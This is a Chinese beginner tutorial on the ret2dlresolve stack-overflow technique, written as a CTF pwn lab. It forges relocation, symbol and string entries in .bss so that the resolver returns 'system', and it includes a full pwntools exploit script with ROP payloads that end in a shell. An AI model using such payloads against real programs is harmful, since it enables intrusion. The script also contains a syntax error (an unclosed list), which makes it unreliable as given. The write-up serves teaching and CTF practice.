PWN入门之栈溢出之ret2dlresolve

实验目的

当一个程序第一次调用libc中的函数时,必须首先对libc中函数的真实地址进行重定位,而这个绑定寻找真实地址的过程由dl_runtime_resolve完成。
dl_runtime_resolve需要两个参数,一个是link_map=*(GOT[1]),即链接器标志信息和reloc_arg(标志该函数重定位入口偏移),我们需要做的就是控制reloc_arg从而使dl_runtime_resolve将函数重定位到我们能控制的地方。
通过此次实验能够使我们掌握对ret2dlresolve的使用。

实验文件

链接:https://pan.baidu.com/s/1iT-RaUPmyHeViUONh4711g
提取码:i1oj

实验内容

首先对该pwn进行静态分析:
PWN入门之栈溢出之ret2dlresolve_第1张图片
PWN入门之栈溢出之ret2dlresolve_第2张图片
通过静态分析可得:
该pwn没有输出函数,只有输入函数,我们不能采用之前泄露libc表的方法,但是我们可以利用read函数进行栈溢出。

对于该题我们的泄露步骤为:
1.控制eip为PLT[0]的地址,只需传递一个index_arg参数
2.控制index_arg的大小,使reloc的位置落在可控地址内
3.伪造reloc的内容,使sym落在可控地址内
4.伪造sym的内容,使name落在可控地址内
5.伪造name为任意库函数,如system

当.dynamic不可写时,我们主要是由dl_runtime_resolve(link_map,rel_offset)对函数进行解析,之所以它能解析不同函数的地址,以为我们传入的rel_offset不同,因此,把传入的rel_offset改为我们希望的函数的偏移,便可以执行我们希望的函数,新的问题来了,.rel.plt中不一定存在我们希望的函数,因此就需要我们伪造一个.rel.plt,将rel_offset修改为一个比较大的值,在.rel.plt+rel_offset的地方是我们伪造好的,结构跟.rel.plt相同的数据,这样我们就相当于伪造好了reloc(重定位入口),程序又会根据r_info找到对应的.dynsym中的symbols,我们再次伪造symbols的内容->st_name,使得到的str在我们的可控地址内,然后在.dynstr+st_name地址处放置库函数字符串例如:system。

然后我们伪造一个很大的rel_offset,一直偏移到bss段(一般这里可读可写,且位于.rel.plt的高地址)从bss+0×100地址处开始伪造Elf32_Rel(即.rel.plt的结构)。
所以,这一部分相对于.rel.plt的偏移为

rel_offset=bss_address+0x100+junk-.rel.plt_address

伪造Elf32_Rel(即.rel.plt的结构),由RELSZ可知,它的大小为8字节(commend: readelf -d fun 可以看到),我们需要fake r_offset,以及r_info,r_offset一般是函数在.got.plt的地址,r_info可以用来计算在symtab中的index并且保存了类型,所以我们可以让伪造的symtab的数据紧跟在这段数据后面,这样我们就可以计算出它的index: index=(bss+0×100-.dynsym)/0×10(因为SYMENT指明大小为16字节),类型必须为7。
所以我们就可以计算出r_info的值 :

r_info=(index << 8 ) | 0x7

伪造symtab,这一部分包含四个字段,我们只需要改st_name部分即可,其余部分按照程序原有的值赋值,st_name表示了字符串相对strtab的偏移,我们可以将字符串写在紧邻这一部分的高地址处
st_name由0x1a改为我们得到的值,其余部分按照上面继续使用
伪造strtab,这里我们直接将所需库函数的字符串写入即可,例如system

dl_runtime_resolve函数便会将system函数的地址,写到read函数对应的got表中去,再次调用read就相当于调用了system函数

所以我们就可以进行getshell:
PWN入门之栈溢出之ret2dlresolve_第3张图片附上exp.py:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c'
p=process('./pwn')
#p=remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)
elf=ELF('./pwn')
pop_ebp_ret=0x080485db   #ROPgadget --binary ./pwn --only "pop|ret"
ppp_ret=0x080485d9
leave_ret=0x08048448  #ROPgadget --binary ./pwn --only "leave|ret"
stack_s=0x800
bss_addr=0x0804a040    # readelf -S bof | grep ".bss"
bss_stage=bss_addr+stack_s
read_plt = elf.plt['read']
read_got = elf.got['read']
dynsym=0x080481dc
dynstr=0x0804827c
plt=0x08048380
relplt=0x0804833c
fake_sym_addr=bss_stage+36
rel_offset=bss_stage+28-relplt
align=0x10-((fake_sym_addr-dynsym)&0xf) 
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10
r_info=(index<<8)|0x7
st_name=fake_sym_addr-dynstr+16
fake_raloc=p32(read_got)+p32(r_info)
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
payload='a'*(0x28+0x04)+p32(read_plt)+p32(ppp_ret)+p32(0)+p32(bss_stage)+p32(100)+p32(pop_ebp_ret)+p32(bss_stage)+p32(leave_ret)
p.sendline(payload)
bin_sh='/bin/sh'
payload='a'*4+p32(plt)+p32(rel_offset)
payload+='a'*4+p32(bss_stage+80)
payload+='a'*8+fake_raloc+'a'*align+fake_sym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=bin_sh+'\x00'
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()
p.interactive()
'''
ret
0x080485db : pop ebp ; ret
0x080485d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804837d : pop ebx ; ret
0x080485da : pop edi ; pop ebp ; ret
0x080485d9 : pop esi ; pop edi ; pop ebp ; ret
0x080481ab : ret
0x0804845e : ret 0xeac1
'''
'''
leave
0x08048448 : leave ; ret
0x080481ab : ret
0x0804845e : ret 0xeac1
'''
'''
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000030 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481dc 0001dc 0000a0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804827c 00027c 00006c 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080482e8 0002e8 000014 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080482fc 0002fc 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804831c 00031c 000020 08   A  5   0  4
  [10] .rel.plt          REL             0804833c 00033c 000020 08  AI  5  24  4
  [11] .init             PROGBITS        0804835c 00035c 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048380 000380 000050 04  AX  0   0 16
  [13] .plt.got          PROGBITS        080483d0 0003d0 000008 00  AX  0   0  8
  [14] .text             PROGBITS        080483e0 0003e0 000202 00  AX  0   0 16
  [15] .fini             PROGBITS        080485e4 0005e4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        080485f8 0005f8 000008 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        08048600 000600 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        0804863c 00063c 00010c 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
  [25] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001024 00002c 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 001024 000035 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 0017a5 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 00105c 0004c0 10     30  47  4
  [30] .strtab           STRTAB          00000000 00151c 000289 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
'''

你可能感兴趣的:(PWN入门之栈溢出之ret2dlresolve)